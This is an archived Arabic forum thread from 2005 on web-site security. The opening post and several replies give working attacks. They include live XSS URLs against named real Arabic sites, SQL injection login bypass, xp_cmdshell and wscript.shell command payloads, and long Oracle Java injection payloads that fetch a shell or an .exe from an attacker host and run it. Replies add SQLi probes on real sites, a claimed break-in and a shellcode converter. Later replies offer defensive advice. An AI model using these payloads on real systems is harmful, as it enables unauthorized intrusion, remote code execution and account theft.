الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

سلسلة مواضيع -أمن وحماية مواقع الويب -

مثبّترائج
بدأه JAAS في 12 سبتمبر 2005 · 41 رد · 27,171 مشاهدة · في المواضيع المميزة
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ,,,

تغيبت فتره عن المنتدى لإنشغالي بكتابه اداة وهي عباره عن برنامج

فلتره البيانات بين المستخدم وسيرفر الويب ,,, وبعد ان انتهيت من البحث في هذا الموضوع

توصلت لنتيجه غايه في الخطورة ؟!! وهي

أن أكثر من 90% من تطبيقات المواقع العربيه توجد بها ثغرات أمنيه .

لا تعتقد اني خرفت ,,, تابع الموضوع

-

دائما نرى المواقع العربيه , عباره عن تطبيقات جاهزة مثل المجله والمنتديات وبرامج البحث

وهذا الي ستر على مواقعنا من الإختراق وقلل مستوى الخطورة .

-

المهم انا تجاهلت هذة المواقع وقمت بالبحث في المواقع التي تحتوي على الأقل على تطبيق برمجي واحد

مكتوب من قبل الموقع , مثل سجل الزوار والبحث و تحميل الصور وإرسال الإيميل والقائمة البريدية........

-

ولقيت ان أكثرمن 90% من هذة التطبيقات بها أخطاء برمجية وثغرات أمنية

وبالتأكيد لكي أثبت كلامي مطلوب أمثلة تطبيقية ,, ونبدأ بالأكثر إنتشار.

-

-

اولاً : خطأ أو ثغرة robots

ملف robots يمكن يكون غريب علينا وأول مره نسمع عنه,,

ولكنه معروف في المواقع العالميه وإستخدامه شغله اساسيه لأمن المواقع ,كما تلاحظ

http://www.ibm.com/robots.txt

http://www.securiteam.com/robots.txt

http://www.google.com/robots.txt

....

هذا الملف من إسمه robots.txt يستخدم لتوجيه مايعرف بالربوت او الرجل الآلي؟!

او مايعرف بأخطبوط الشبكه ,, وهي عبارة عن محركات ضخمه مثل محرك جوجل ومحركات تتبع بيانات الشبكات netcraft.com

وتقييم المواقعwebhosting.info تستخدم لفهرسه كل صفحة في الموقع ,, من خلال هذا الملف تستطيع ان تخبر هذا robots اي المجلدات يفهرس

وأي الصفحات ممنوع ان يقترب منها ؟؟ وهنا الخطأ تجد كل محتوى المواقع العربيه بما فيها الصفحات السرية بداخل محركات البحث

-

بعطيك مثال ,, اغلب المواقع بها صفحات وخدمات لا يمكن الوصول لها إلى بعد التسجيل في الموقع

شو رايك إذا قلت يمكن الدخول لها بكل بساطه من خلال محرك البحث جوجل

في خيارات البحث المتقدم في جوجل حدد البحث في الموقع المحدد فقط

وفي خانة البحث إطبع المسافه؟ يعني بس إضغط على مفتاح المسافه في لوحه التحكم

وشوف نتائج البحث كل صفحات الموقع بما فيها الممنوع والمسموح دخولها

-

نقطه ثانيه: لكل لغه برمجه معرف خطأ او رقم الخطأ والجمله التي يظهرها السيرفر

مثل لو حدث خطأ في سيرفر الأوراكل يظهر معرف الخطأ التالي : JBO-27122

وبدورنا نقوم بالبحث عن اي معرف خطأ في الموقع من خلال جوجل لتظهر كود الخطأ نفسه

-

اما الشغله الأخطر فهي منع برامج تحميل الباكدور أو الشل كود في السيرفر

برامج التحميل المستخدمه في الأنظمة هي الطريقة التي يستخدمها مخترقي الأنظمة لتحميل أي ملف للسيرفر

مثلا في نظام الوندوز يستخدم البرنامج tftp وفي أنظمة اليونكس يستخدم البرانامج wget

وبدورنا ومن خلال ملف robots نستطيع منع الوصول لأي ملف بهذه الأسماء wget,ls,tftp,dir وغيرها...

وبهذا نكون فهمنا فائدة ملف robots ,, لمزيد من المعلومات حول هذا الملف ..

http://www.robotstxt.org/wc/faq.html

/

/

/

ثانياً: ثغرات Cross-Site Scripting و XSS في المواقع العربية

هذا النوع من الثغرات عبارة عن إدخال كود html وتنفيذة من خلال المتصفح

دائما ترى في المنتديات وغيرها برنامج لتعطيل أكواد html هذا البرنامج ينقص اغلب تطبيقات الويب العربيه

تعمل لغه html على تنفيذ اي امر بين القوسين <...> ولذلك يعتر القوس < بلوك الكود التنفيذي

بعطيك مثال ,, الكود التالي عبارة عن شفرة تنفيذية لصفحة html

<script>alert('Msg');</script>

نفس الكود السابق يكتب بهذا الشكل ليتحول من كود تنفيذي إلى بيانات فقط

<script>alert('Msg');</script>

جرب إفتح كود اي صفحة html وأكتب اول جمله ,, وبعد ذلك جرب الجمله الثانيه لترى الفرق

المهم هذا التحويل من الصيغه الأولى إلى الصيغه الثانيه ,, يعرف بتعطيل أكواد html

وهذه الطريقه غير موجودة في أضخم المواقع العربيه ,,, وبذلك تكون ثغرات Cross-Site Scripting

يمكن إستغلالها لسرقه حساب المدير عن طريق الكوكيز.... وهذة امثله على هذا النوع من الثغرات في المواقع العربيه

ملاحظة : إنسخ العنوان والصقة في المتصفح وبعد ذلك قم بالتنفيذ ,, لكي تعمل الثغرة بشكل صحيح

http://search.ayna.com/cgi-bin/search.cgi?q=</TITLE><script>alert('JAAS~~~Hack');</script>
---------------
http://directory.naseej.com/servlet/Directory?interfacelang=1&defaulttype=0&type=2&sitelang=2&service=arabsite&submit=++&words=%3Cscript%3Ealert('jaas~~~hack');%3C/script>
------------------
http://www.arab1000.com/cgi-bin2/rank/search.cgi?key=<script>alert('JAAS~~~attack');</script>

وتوجد الكثير في من الثغرات في بقية المواقع...........

/

/

/

ثالثاً : ثغرات قواعد البيانات ( Sql Injection ) في المواقع العربيه

ثغرات Sql Injection او حقن لغات الإستعلام ,, بكل بساطه هي الإضافة إلى كود الإستعلام الأصلي لقواعد البيانات

مثال: لكي تقوم بتسجيل الدخول في الموقع فإنك ومن خلال صفحة التسجيل تكتب اسم المستخدم مثل jaas

وكلمه المرور 123456

وبعد ان تقوم بالضغط على زر الإرسال يقوم المتصفح بإرسال الطلب التالي:

http://www.xxx.com/test.asp?user=jaas&password=123456

الموقع http://www.xxx.com

صفحة التسجيل test.asp

الطلبات الواجب الإستفسار عنها في قواعد البيانات وهي

إسم المستخدم user=jaas

كلمه المرور password=123456

الآن في الكود الداخلي للموقع يتم طلب الإستعلام أو أمر SQL بهذة الطريقة

اولاً قرائة الطلبات من المتصفح

var username= Request.form("user");
var password = Request.form("password");

وبعد ذلك تنفيذ الإستعلام

Select * from Users where USR ='" + username + "'  and  PSW='" +password +'";

لاحظ معي هذة النقطة المهمة وهي شكل تنفيذ البيانات في الذاكرة

عندما نقوم بطلب الأمر

http://www.xxx.com/test.asp?user=jaas&password=123456

فإن الإستفسار SQL ينفذ بالشكل التالي

Select * from Users where USR ='jaas'  and  PSW='123456';

//

أكيد لاحظت الثغرة ؟؟؟ يمكن الإضافه إلى أمر SQL من خلال الطلب

http://www.xxx.com/test.asp?user=jaas&password=123456

لنفرض ان كلمة المرور =545fdfsfdf6 وإسم المستخدم jaas

يمكن ان ندخل إلى الصفحه بإسم jaas دون ان نعلم كلمه المرور وذلك بإستخدام ثغرة Sql Injection

بهذا الشكل

http://www.xxx.com/test.asp?user=jaas&password=123456 ' OR 1=1;--

فيصبح طلب sql بهذا الشكل

Select * from Users where USR ='jaas'  and  PSW='123456' OR 1=1;--';

وبذلك نكون غيرنا الشرط الذي كان يقارن تطابق إسم المستخدم مع كلمه المرور

وقد قمنا بإضافه شرط جديد وهو or 1=1 بمعنى يتحقق الشرط إذا كان 1=1 وبالتأكيد فإن الرقمين متساويين وبذلك سيتم الدخول للصفحة بنجاح

-

وبذلك نكون قد عرفنا خطورة ثغرات sql

وللفائدة توجد إستخدامات أخطر لثغرة sql وهي تنفيذ امر cmd

في نظام وندوز يمكن إستخدام المكتبه xp_cmdshell

هذة المكتبه تأتي مع خادم sql النسخة الكامله الداعم للغه c,c++

وطريقة الإستخدام لتنفيذ امر dir في الدوس بهذا الشكل

exec master..xp_cmdshell 'dir'

وبذلك يكون التطبيق في الثغرة التي وجدناها بهذا الشكل

http://www.xxx.com/test.asp?user=jaas&password=123456 ';exec master..xp_cmdshell 'dir'; --

/

/

الطريقة الثانيه إذا لم يكن السيرفر يدعم المكتبه xp_cmdshell

فإننا نقوم بإستخدام مترجم السكربتات wscript.shell

وهذا مثال لتشغيل الدوس

http://www.xxx.com/test.asp?user=jaas&password=123456'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run',null,'cmd.exe';--

-

وبعد ما فهمنا الإستغلال بشكل تفصيلي ,, خلونا نأخذ أداة أو برنامج يسهل علينا الشغلة كثير

الأداة SQL INJ Commander تستخدم وتنفذ كل اوامر وثغرات SQL بكبسه زر

12_09_05_12_07_04_1126552024sql_A.gif

-

لتحميل الأداة

http://www.xfocus.net/tools/200412/sqlcomm.rar

الموقع: http://666w.com

//////////////////////////////////

أكيد لاحظتوا ان كل الأمثلة على وندوز ,,, والسبب بكل بساطة لكي تستطيع التجربه في جهازك

الآن ثغرات sql في أنظمة اليونكس وسيرفرات الجافا

بالنسبة لمعالجة الطلب فإن الطريقة متشابهة في كل الأنظمة لأن لغة sql القياسية تجدها في كل السيرفرات

المهم هذا المثال بإستخدام الجافا

اولا الطلب

http://www.xxx.com/test.jsp?user=jaas&password=123456

يتم معلاجته كاتالي:

String username = request.getParameter("user");
String password = request.getParameter("password");

String SQLQuery = "SELECT Username FROM Users WHERE USR= "+ username + "' AND PSW = '" + password + "'";

//

تلاحظ ان كل الطرق متشابهة في يونكس ونظام وندوز,, ولكن الإختلاف يظهر في الأوامر

لاحظ ,, سنقوم بتحميل صفحة phpShell أو jspShell وهي عبارة عن صفحة المدير التي يستطيع من خلالها مديرالموقع

التعديل وحذف ورفع الملفات إلى السيرفر

-

سنقوم بإستخدام الأمر wget في نظام يونكس لجلب ملف shell بإسم Shell.jsp من جهازي إلى سيرفر الويب المستهدف

لنفرض أن ip جهازي 222.0.0.1 والسيرفر المستهدف www.xx.com

وبذلك سيكون الأمر المنفذ في السيرفر المستهدف بهذة الطريقة

wget 222.0.0.1/Shell.jsp

الآن يجب ان بحث عن طريقة للوصول لبرنامج نقل الملفات wget

أكثر طريقة مستخدمة هي عن طريق الجافا ؟؟ لأن أغلب أنظمة اليونكس تدعم الجافا

وبذلك نقوم بإستخدام الجافا لتشغيل wget تمرير ملف shell له وتكون الطريقة بهذا الشكل

Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");

هل تعلم كيف سيكون شكل الطلب :) أنصحك ان لا تستغرب من شكل الطلب

لأن هنالك طرق لإرسال ملفات تنفيذي كامل عن طريق متصفح الإنترنت

http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2  authid current_user as pragma autonomous_transaction;SqlCommand VARCHAR2(2048);
BEGIN SqlCommand := '
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*;
import java.io.*;
public class ExecuteOS{public static void execOSCmd () throws IOException, java.lang.InterruptedException{Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");}';execute immediate SqlCommand;
 SqlCommand := 'CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)AS LANGUAGE JAVANAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
 execute immediate SqlCommand;
execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';commit; return END;
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
SET SERVEROUTPUT ON
CALL dbms_java.set_output(1999);
EXEC sys.proc_executeos (); --

-

المهم تقوم بنسخ الكود السابق ولصقة في متصفح الإنترنت,,

إذا لم تدخل الفكرة ولم تستوعبها

إليك مثال في نظام وندوز

-

هذا طلب بإستخدام إستعلامات الأوراكل

سنقوم بتحميل ملف تنفيذي من الموقع http://hackersite/hack.exe

وسنقوم بكتابتة في السيرفر وهو عبارة عن النظام وندوز وبالتحديد في المسار c:\hack.exe

وبعد ذلك سنقوم بتشغيل الملف التنفيذي hack.exe

كالعادة الموقع الضحية http://www.xxx.com

لاحظ شكل الطلب:

http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2
authid current_user as
  pragma autonomous_transaction;
  SqlCommand VARCHAR2(2048);
BEGIN
  SqlCommand := '
CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" AS
import java.lang.*;
import java.io.*;
public class FileUpload {
  public static void fileUpload(String myFile, String url) throws Exception
  {
    File binaryFile = new File(myFile);
    FileOutputStream outStream = new  FileOutputStream(binaryFile);
    java.net.URL u = new java.net.URL(url);
    java.net.URLConnection uc = u.openConnection();
    InputStream is = (InputStream)uc.getInputStream();
    BufferedReader in = new BufferedReader (new InputStreamReader (is));
    byte buffer[] = new byte[1024];
    int length = -1;
    while ((length = is.read(buffer)) != -1) {
      outStream.write(buffer, 0, length);
      outStream.flush(); }
    is.close(); outStream.close();
  } };';
  execute immediate SqlCommand;
  SqlCommand := '
CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2)
AS LANGUAGE JAVA
NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';';
  execute immediate SqlCommand;
  execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT';
  commit; 
  return ''; 
END;
SET SERVEROUTPUT ON
CALL dbms_java.set_output(1999);
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe'); --

-

وبالتأكيد ينسخ كامل الكود إلى address bar في متصفح الإنترنت ويتم تنفيذ الطلب للسيرفر ليتم إختراقة

///////////////////////////////////////

وبعد هذة المقدمة التي اعتقد انها ستكون أشياء غريبه يصعب تصديقها من قبل مبرمجي المواقع ...

بقي سؤال يطرح نفسه ,,, وهو الحل ؟ او الحلول المتبعة لحل هذة الأخطاء

/

النقطة المحورية لحل كل هذة الثغرات بسيطة وهي التشييك أو فحص كل بارمتر أو طلب ممرر من متصفح الإنترنت إلى السيرفر

أول شغلة هي الفحص البرمجي بداخل نفس التطبيق قبل أن يتم معالجة الطلب

ثاني شغلة وهي إستخدام اي طريقة لفتلرة الطلبات

1- إما عن طريق تطبيق داخلي للسيرفر مثل ISAPI لسيرفرات الوندوز , أو عن طريق NSAPI لسيرفرات اليونكس

2- او عن طريق Web Firewall وأشهرها NetContinuuum Web Firewall

//////////////////////

وبعد أن تقوم بالتشييك البرمجي على المدخلات و بعد أن تقوم بعملية الفلترة للبيانات

تقوم بعملية الإختبار ,,, ومن أفضل أدوات الإختبار وأشملها الأداة xscan

12_09_05_12_39_30_1126553970xScan_1.gif

للتحميل :

http://www.xfocus.org/programs/200507/X-Scan-v3.3-en.rar

////////////

وبهذا نكون ناقشنا كل خطوات تأمين المواقع بشكل إحترافي ,,,,

وبالتوفيق ,,,

2

http://www.jaascois.com

*************************************************

مجموعة مواضيع - إحتراف البرمجة -

ّ~~~~~~~~~~~~~~~~~~~~~~

البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة

/index.php?showtopic=45002

آخر المواضيع :

+- تحليل جرائم الكمبيوتر -+

أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات

ثغرة SMS لأجهزة الجوال Siemens 3568i !

أخطاء وثغرات البرامج العربية !!!

سلسلة مواضيع - أمن وحماية مواقع الويب -

E البرمجة المتقدمة X للملفات التنفيذية E

سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة

**************************************************

<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>

**************************************************

#2

خطرة في بالي فكرة................ شو رايكم نجمع كل الثغرات

الي نلاقيها في المواقع العربيه في هذة الصفحة لكي نساعد على تطويرها

......... وانا سأبدأ في الموضوع

ثغرات sql في موقع الفريق العربي للبرمجة :) + موقع الأمن العربي

http://www.arabteam2000.com/BookLib/show.asp?ID=';a

-

http://www.s4a.cc/book/index.php?offset=10'a;

--------------

تم تعديل هذه المشاركة بواسطة jaas في 12 سبتمبر 2005 في 23:07

http://www.jaascois.com

*************************************************

مجموعة مواضيع - إحتراف البرمجة -

ّ~~~~~~~~~~~~~~~~~~~~~~

البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة

/index.php?showtopic=45002

آخر المواضيع :

+- تحليل جرائم الكمبيوتر -+

أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات

ثغرة SMS لأجهزة الجوال Siemens 3568i !

أخطاء وثغرات البرامج العربية !!!

سلسلة مواضيع - أمن وحماية مواقع الويب -

E البرمجة المتقدمة X للملفات التنفيذية E

سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة

**************************************************

<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>

**************************************************

#3

السلام عليكم

موضوع في غاية الأهمية.

أعانك الله.

System Engineer

Red Hat Certified Engineer

Red Hat Certificate Number

805010381752078

#4

موضوع مميز كما عودتنا...

جربت بعض الكود فى موقع بوبة العرب وتمكنت من الدخول ولكن لا اذكر الخطوات, بعد عدة محاولات من إدخال مستخدم عشوائى دخلت وحصلت على رسالة ترحيب ونصها هو

اهلا وسهلا بعودتك يا asdasd
آخر زيارة لك : 19-08-2005 كانت في 07:48 PM
الرسائل الخاصة: 0 , المجموع 4.

هل معقول يوجد لدهم مستخدم بهذا الاسم واستطعت بعشوائيه الحصول على كلمة المرور ؟؟؟؟!!!؟!

لا إله إلا الله محمد رسول الله

busbar : يجب ان تدرك انه هناك حد ادنى للمعرفة المطلوبة قبل البدء في عمل أي شئ.

#5

ما شاء الله , كما توقعت , قنبله :D

ربنا يوفقك كمان يا Jaas , فعلا عبقريييييييييييييييييييييييييييييييييييييييييييييييييييييي

#6

للأسف موضوع الروبوتات من أخطرها ومع ذلك أسهل شئ يتم التعامل معه!

غير الروبوتات المزعجة التى تستغل سجل الزوار .. 3 شهور وروبوت صينى استلم سجل الزوار عندى وبيبعت سبام لحد لما أضطررت أعمله ورقتين تأكيد :D

جزاك الله خيرا يا jaas

بس وين ثغرة الفريق العربى؟ ;)

#7

جزاك الله كل خير اخي jass

على هذا الموضوع الاكثر من رائع والى الامام

اختكم

زهره

#8
Asm4all كتب:
فعلا عبقريييييييييييييييييييييييييييييييييييييييييييييييييييييي

الحمد لله على السلامة اخي Jaas وبالفعل الشهادة لله هذه عبقرية نادرة..

وفقك الله لما تحب ويرضاه :D . تحياتي

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#9

مرحبا بعودتك أخي Jaas

وجزاك الله كل خير على الموضوع

البرنامج الصيني جيد، ما رأيك بصنع واحد عربي ؟

d4baa0.gif
#10

الموضوع رائع جدا و ميقدرش عليها غير Jaas

ربنا يوفقك :) و يزيدك من العلم

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#11

السلام عليكم..

موضوع غايه فى الخطوره نحن قمنا بفتحه فى منتدى الامن العربى باسم موضوع melodyhits وموقع rotana ولكن تم مسحه !!

لمهاجمتنا لمواقع عربيه!! والحمد لله انك حيت الموضوع من جديد :)

#12

والله بعد مواضيعك اخي JAAS انفتحت شهيتي :D

13_09_05_05_36_45_1126658205lol.gif

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#13
DeltaAziz كتب:
مرحبا بعودتك أخي Jaas

وجزاك الله كل خير على الموضوع

البرنامج الصيني جيد، ما رأيك بصنع واحد عربي ؟

هل تقصد الخاص بتحضير الشيلكود ؟؟؟

#include <stdio.h>

int main(int argc, char *argv[])
{
  unsigned char buffer;
  int i;
  char header[] = 
    "//   Have fun with Shellcode \n"
    "//   Coded By       :  Eng\\ahmed samieh\n"
    "//   E-mail address :  Asm4pic@yahoo.com\n"
    "//   Location         :  Egypt - Cairo\n"
    "//   Visit : www.arabteam2000-forum.com\n"
    "//                   (asm4all)\n"
    "\nShellCode[] = ";
  FILE *fhr, *fhw;
  if(argc < 2) {
    printf("Usage : %s file-name\n", argv[0]);
    return  -1;
  }
  if((fhr = fopen(argv[1], "rb")) == NULL) {
    printf("[-] Opening file %s failed\n", argv[1]);
    return  -1;
  }
  if((fhw = fopen("ShellCode.txt", "w")) == NULL) {
    printf("[-] Creating file ShellCode.txt faild\n");
    return  -1;
  }
  fprintf(fhw, "%s", header);
  while(1) {
    fprintf(fhw,"\n    \"");
    for(i =0; i<16;i++) {
      if(fscanf(fhr,"%c",&buffer) != EOF) {
        fprintf(fhw,"\\x%x%x",((buffer&0xf0)>>4),(buffer&0x0f));
      }
      else {
        fprintf(fhw,"\";\n");
        fclose(fhw);
        fclose(fhr);
        return 0;
      }
    }
    fprintf(fhw,"\"");
  }
}

آسف لا يوج معي مترجم سي حاليا على الجهاز

ما رأيك بهذا ؟؟؟ :D :D

تم تعديل هذه المشاركة بواسطة Asm4all في 14 سبتمبر 2005 في 05:41

#14

أقصد X-scan

d4baa0.gif
#16

ما شاء الله موضوع هام جدا وحيوي

جزاكم الله خيرا

مع اقتراح بسيط

عند ذكر ثغرة في موقع عربي من الممكن تنبيه صاحب الموقع أولا او المسئول وبعد ذلك تذكر الثغرة

لانه وللأسف اصحاب القلوب الضعيفه كثروا هذه الايام

أكرر شكري للأخ jaas علي طرحه هذا الموضوع المهم

كل عام وانتم بخير

#17

تعليق على استخدام xp_cmdshell و على ال SQL Injection Attack بصفة عامة

ال SQL Injection Attack يمكن تنفيذها بطرق كثيرة جداً لعل اشهرها ال ByPassing Logic و ال Mapping DataBase (تحتاج لصبر لتنفيذها)

هذا النوع من الهجوم يمكن تنفيذه على محرك قواعد بيانات مثل MS SQL Server او اوراكل او MySQL و هو يحتاج لخلفية فى التعامل مع جمل ال SQL مثل Select و ال Union

بخصوص استخدام ال xp_cmdshell فحقيقة بعد تجربتها اكثر من مرة فى صفحات اختبارية على جهازى وجدتها جيدة و لكن يمكن منعها ببساطه :D إذا قام ال DBA بمنع استخدام هذا الامر او اعطاء صلاحية ال Execute لل Admins فقط مثل هذا السكربت مثلا ًً و اقول مثلاً

Use Master
exec xp_cmdshell'DIR MyShell.exe',No_Output

هنا قمت عن طريق الاجراء XP_CMDSHELL بتنفيذ ملف Exe على السيرفر :D (طبعاً يمكنكم تخيل ماذا يمكن ان يحدث للادمن المسكين) يمكنك الان باستخدام هذا الاجراء تنفيذ اوامر ال Get و ل Echo

بالمناسبة اود ان اذكر ان هذا الاجراء لا يتم تنفيذه إلا تحت حساب ال Admin و ستكون سعيد الحظ لو استطعت استخدام حساب ال sa (لا تتوقعون وجود هذه السذاجة و لكن من باب المعرفة من يدرى فقد تقابل احدهم يوماً)

هناك ما يشابه لل xp_cmdshell الا و هو استخدام ال sp_makewebtask :rolleyes: و الوقاية بنفس الطريقة

حتى الان نحن مع اخطاء مديرى قواعد البيانات

نأتى لمشكلة ال ByPassing Logic حقيقة اضحك كلما ارى هذه الطريقة لانها تعتمد على ال String Mainpulation و هى خطأ برمجى يتحمله المطور لانه لم يقم بعمل Input Validation :D (لماذا ندفع لهولاء المطورين )

دعونا نرى فى حال اردنا ان نقوم بتنفيذ Ad-Hoc Query يقبل اسم المستخدم و كلمة المرور مثلاً سيكون الاستعلام بمثل هذا الشكل تقريباً

"Select Count(*) from UserAccounts Where UserName='" & UserInput & "UserPass='" & Passinput & "'"

هذا هو المتعارف عليه و فى حال وجد الحساب سيقوم بادخال المستخدم لنظام و سيكون الناتج بهذا الشكل مثلاً

Select Count(*) From UserAccounts Where UserName=' JAAS' and UserPass= 'HackMe'

ما رأيكم لو كان اسم المستخدم بهذا الشكل ' Or 1=1 -- :D

سيصبح الاستعلام بهذا الشكل

Select Count(*) From UserAccounts Where UserName = '' Or 1=1 -- And UserPass= 'AnyPass'

Welcome To The Real World حقيقة تفاهة فعلامتى ال -- هى بمثابة ال Comment فى ال SQL Language و هكذا حيدنا الباسوورد و من المنطقى ان ناتج 1=1 هو True

الطريقة مجربة فى اكثر من مكان و العجيب انها تعمل حتى الان المهم الحل كنت قد قمت بكتابة دالة لإزالة ال Devil Characters و قام بتعديلها مرة اخرى محمد خليل ابو صلاح لإزالة الحروف التى تسبب وجود Bug فى ال SQL Statement

Function SQLCleanup(X)
      X=Replace(X,";","")
      X=Replace(X,"--","")
      X=Replace(X,"'","")
      X=Replace(X,"xp_","")
      X=Replace(X,"union","")
      X=Replace(X,"select","")
      SQLCleanup=Replace(X, " exec ","")
End Function

لا تعتمدوا كثيراً على هذه الدالة فهناك طرق اخرى كثيرة لتفاديها

الحل الجيد لمعالجة هذه المشكلة هو استخدام ال Parameterized Queries اى الاستعلامات ذات المعاملات او استخدام الاجراءات المخزنة Stored Procedure و هى الافضل فى مجال الويب

ال DataBase Mapping تعتمد على توليد اخطاء فى صفحة معالجة البيانات و منها يمكنك التقاط اسم الجدوال المستخدمة و هذه الطريقة تعتمد على الاستنتاج او التجربة و الخطأ

خطأ وجود قواعد البيانات الافتراضية Default DataBases

يأتى كل محرك قواعد بيانات مثل اوراكل و MS SQL Server مع قواعد بيانات افتراضيه كأمثلة يمكن للمطورين الاستفاد منها كما تكون محملة بحساب او اكثر افتراضى من المفضل حذفها حتى لا تستخدم كجسر للوصول لمزود قواعد البيانات لديك

خطا استخدام الحسابات الافتراضية Default Accounts

فمثلاً Oracle 8 تاتى و معها 7 حسابات افتراضيه مثل Scott و System و sys و تاتى mysql مع المستخدم Root و محرك DB2 مع الحساب الافتراضى dlfm و ياتى ال MS SQL Server مع حساب المدير sa و المجموعة Pubs الموجودة مع كل قاعدة بيانات

من الافضل وضع كلمة مرور طويلة و تحتوى على Special Characters لحسابات المستخدمين لديك و فى حال MS SQL Server إذا كنت تستخدم ال MS SQL Server فى شبكة داخليه فاعتمد على ال Windows Authentication Mode حيث تكون الباسووردات فى هذه الحالة مشفرة على عكس استخدامك لل Mixed Mode Authentication و التى تنتقل فيه باسوورداتك ك Plain Text يمكن التقاطها باستخدام Sniffing Tools

طبعاً المطورين المستخدمين لادوات ميكو (اسم الدلع لمايكروسوفت من منتدى الامن العربى ) هم اكثر من يقع فى الاخطاء الامنية عند الاتصال بقواعد البيانات فتجد اخونا المبرمج يبدا مع قاعدة البيانات بدون استخدام اى حساب يقوم بانشائه للتعامل مع قاعدة البيانات بل يستخدم ال Windows Authentication او حساب ال sa وهو يعمل و طبعاً هو يعمل على جهازه بال Administartor Account و قد يقوم بعد ذلك بنقل عمله بتلك الحسابات للعميل :blink: و عندما تسأله "يا عم الشباب لماذا لم تنشا حساب جديد للتعامل مع قاعدة البيانات" فتجده بحكمة الاقدمين يرد عليك "لقد وضعت كلمة مرور لحساب ال sa" كنت اتمنى ان يكون كلامى هذا من باب التهويل و لكن للاسف هذا ما رأيته بام عينى مع اكثر من مبرمج

المشكلة هنا ليست فى كلمة المرور اكثر من الصلاحيات الخاصة بهذا الحساب <_< و كان من الافضل ان يقوم عم الشباب هنا باستخدام Low Privillaged Account اتركوا عم الشباب لحاله حين يكتشف ان استخدام حساب بصلاحيات Admin قد تعرضه لضياع عمله و إرجاع ما شفط من اموال :D

صفحات معالجة البيانات Data Processing Pages و صفحات الاخطاء Error Pages

:) للنصيحة فقط لا اكثر استخدم ال Post Method عند نقلك لبيانات هامة لان الحقول فى هذه الحالة لم تظهر فى ال Address Bar و لا سيما لو استخدمت التشفير مع بياناتك

ايضاً عند حدوث خطأ لا تجعل صفحة الخطأ لديك هى الصفحة الافتراضيه لمزود الويب بل قم بعمل Custom Error Page و لا تقوم بعمل Trace Error يتم عرضه بهذه الصفحة حتى لا تفشى اى معلومات حتى لو بدت بسيطة لاى شخص

يكفى ان تحتوى صفحة الخطأ على رسالة اعتذار مع ان تقوم بارسال معلومات عن الخطأ إلى قاعدة البيانات دليك او بريدك الشخصى

ما ذكرته هنا لا يرقى لمستوى الحماية او الاختراق الفعلى بل يلقى فقط الضوء على بعض الاخطاء المنتشره

اعتقد ان JAAS قد يتطرق بعد ذلك لل HTML Injection او ال XSS و ما زلنا فى سنة اولى حماية مواقع

تم تعديل هذه المشاركة بواسطة طارق إبراهيم في 29 سبتمبر 2005 في 08:12

Technical Lead Developer

My LinkedIn Profile

اللهم قنى شر الجهل و الجهلاء

( اقْتَرَبَ لِلنَّاسِ حِسَابُهُمْ وَهُمْ فِي غَفْلَةٍ مَّعْرِضُونَ ) {الأنبياء:1}

#18
function killChars(strWords) 
 newChars = strWords
    newChars = Replace(newChars, "<", "")
	newChars = Replace(newChars, ">", "")
	newChars = Replace(newChars, "[", "")
	newChars = Replace(newChars, "]", "")
	newChars = Replace(newChars, """", "", 1, -1, 1)
	newChars = Replace(newChars, "=", "", 1, -1, 1)
	newChars = Replace(newChars, "'", "", 1, -1, 1)
	newChars = Replace(newChars, "select", "select", 1, -1, 1)
	newChars = Replace(newChars, "join", "join", 1, -1, 1)
	newChars = Replace(newChars, "union", "union", 1, -1, 1)
	newChars = Replace(newChars, "where", "where", 1, -1, 1)
	newChars = Replace(newChars, "insert", "insert", 1, -1, 1)
	newChars = Replace(newChars, "delete", "delete", 1, -1, 1)
	newChars = Replace(newChars, "update", "update", 1, -1, 1)
	newChars = Replace(newChars, "like", "like", 1, -1, 1)
	newChars = Replace(newChars, "drop", "drop", 1, -1, 1)
	newChars = Replace(newChars, "create", "create", 1, -1, 1)
	newChars = Replace(newChars, "modify", "modify", 1, -1, 1)
	newChars = Replace(newChars, "rename", "rename", 1, -1, 1)
	newChars = Replace(newChars, "alter", "alter", 1, -1, 1)
	newChars = Replace(newChars, "cast", "cast", 1, -1, 1)
        
       
        killChars = newChars 

end function

MCP

MCTS:.Net Framework 2.0: Web Applications

MCPD:Web Developer

#19

هذا ملف لما كتبته بالأعلى لانه تم ترجمة بعض الأكواد الذي قمت بوضعها في الفانكشن وسوف تجدونها في الملف المرفق.

